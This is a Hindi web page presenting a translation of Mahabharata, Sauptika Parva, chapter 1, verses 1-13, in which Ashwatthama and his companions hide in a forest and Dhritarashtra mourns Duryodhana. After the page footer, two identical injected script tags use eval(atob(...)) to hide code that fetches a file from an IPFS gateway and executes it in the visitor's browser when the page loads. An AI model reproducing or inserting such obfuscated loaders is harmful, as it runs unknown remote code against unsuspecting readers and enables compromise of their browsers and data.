महाभारत सौप्तिक पर्व अध्याय 1 श्लोक 1-13

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

प्रथम (1) अध्याय: सौप्तिक पर्व

महाभारत: सौप्तिक पर्व :प्रथम अध्याय: श्लोक 1-13 का हिन्दी अनुवाद

तीनों महारथियों का एक वन में विश्राम, कौओं पर उल्लू का आक्रमण देख अश्वत्थामा के मन में क्रूर संकल्‍पों का उदय तथा अपने दोनों साथियों से उसका सलाह पूछना

अन्तर्यामी नारायण भगवान श्रीकृष्ण; उनके नित्य सखा नरस्वरूप नरश्रेष्ठ अर्जुन; उनकी लीला प्रकट करने वाली भगवती सरस्वती और उनकी लीलाओं का संकलन करने वाले महर्षि वेदव्यास को नमस्कार करके जय महाभारत का पाठ करना चाहिये। संजय कहते हैं- राजन! दुर्योधन की आज्ञा के अनुसार कृपाचार्य के द्वारा अश्वत्थामा का सेनापति के पद पर अभिषेक हो जाने के अनन्तर वे तीनों वीर अश्वत्थामा कृपाचार्य और कृतवर्मा एक साथ दक्षिण दिशा की ओर चले और सूर्यास्त के समय सेना की छावनी के निकट जा पहुँचे। शत्रुओं को पता न लग जाय इस भय से वे सब-के-सब डरे हुए थे अत: बड़ी उतावली के साथ वन के गहन प्रदेश में जाकर उन्होंने घोडों को खोल दिया और छिपकर एक स्थान पर वे जा बैठे। जहां सेना की छावनी थी उस स्थान के पास थोड़ी ही दूर पर वे तीनों विश्राम करने लगे। उनके शरीर तीखें शस्त्रों के आघात से घायल हो गये थे। वे सब ओर से क्षत-विक्षत हो रहे थे। वे गरम-गरम लंबी सांस खींचते हुए पाण्डवों की ही चिन्ता करने लगे। इतने ही में विजयाभिलाषी पाण्‍डवों की भयंकर गर्जना सुनकर उन्हें यह भय हुआ कि पाण्‍डव कहीं हमारा पीछा न करने लगे अत: वे पुन: घोड़ों को रथ में जोतकर पूर्व दिशा की ओर भाग चले। दो ही घड़ी में उस स्‍थान से कुछ दूर जाकर क्रोध और अमर्ष के वशीभूत हुए वे महाधनुर्धर योद्धा प्यास से पीड़ित हो गये। उनके घोडे़ भी थक गये। उनके लिये यह अवस्था असह्य हो उठी थी। वे राजा दुर्योधन के मारे जाने से बहुत दुखी हो एक मुहूर्त तक वहां चुपचाप खड़े रहे। धृतराष्ट्र बोले- संजय! मेरे पुत्र दुर्योधन में दस हजार हाथियों का बल था तो भी उसे भीमसेन ने मार गिराया। उनके द्वारा जो यह कार्य किया गया है इस पर सहसा विश्वास नहीं होता। संजय। मेरा पुत्र नवयुवक था। उसका शरीर वज्र के समान कठोर था और इसीलिये वह सम्‍पूर्ण प्राणियों के लिये अवध्या था तथापि पाण्‍डवों ने समरांगण में उसका वध कर डाला। गवल्गमणकुमार! कुन्ती के पुत्रों ने मिलकर रणभूमि में जो मेरे पुत्र को धराशायी कर दिया है इससे जान पड़ता है कि कोई भी मनुष्य दैव के विधान का उल्लघंन नहीं कर सकता। संजय! निश्‍चय ही मेरा हृदय पत्थर के सार तत्त्व का बना हुआ है जो अपने सौ पुत्रों के मारे जाने का समाचार सुनकर भी इसके सहस्त्रों टुकड़े नहीं हो गये। हाय! अब हम दोनों बूढे पति-पत्नी अपने पुत्रों के मारे जाने से कैसे जीवित रहेंगे मैं पाण्डुकुमार युधिष्ठिर के राज्‍य में नहीं रह सकता। संजय! मैं राजा का पिता और स्‍वयं भी राजा ही था। अब पाण्डुपुत्र युधिष्ठिर की आज्ञा के अधीन हो दास की भॉंति कैसे जीवन निर्वाह करूँगा। संजय! पहले समस्त भूमण्डल पर मेरी आज्ञा चलती थी और मैं सबका सिरमौर था ऐसा होकर अब मैं दूसरों का दास बनकर कैसे रहूँगा। मैंने स्‍वयं ही अपने जीवन की अन्तिम अवस्था को दुखमय बना दिया है ।



« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>